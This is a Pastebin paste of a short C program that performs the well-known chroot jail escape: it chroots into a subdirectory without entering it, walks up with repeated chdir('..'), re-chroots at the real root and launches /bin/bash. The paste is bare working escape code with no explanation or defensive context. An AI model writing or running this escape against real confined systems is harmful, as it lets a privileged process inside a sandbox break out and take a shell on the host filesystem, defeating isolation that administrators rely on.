Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdlib.h>
- #include <stdio.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <fcntl.h>
- #include <unistd.h>
- #include <pwd.h>
- #define MAXSTRLEN 100
- int main()
- {
- int i;
- //char cwd[MAXSTRLEN];
- //getcwd(cwd, MAXSTRLEN);
- //printf("\n\tCWD: %s\n", cwd);
- chroot("/home");
- //getcwd(cwd, MAXSTRLEN);
- //printf("\n\tCWD: %s\n", cwd);
- for (i=0; i<100; i++)
- chdir("..");
- chroot (".");
- execve("/bin/bash", NULL, NULL);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement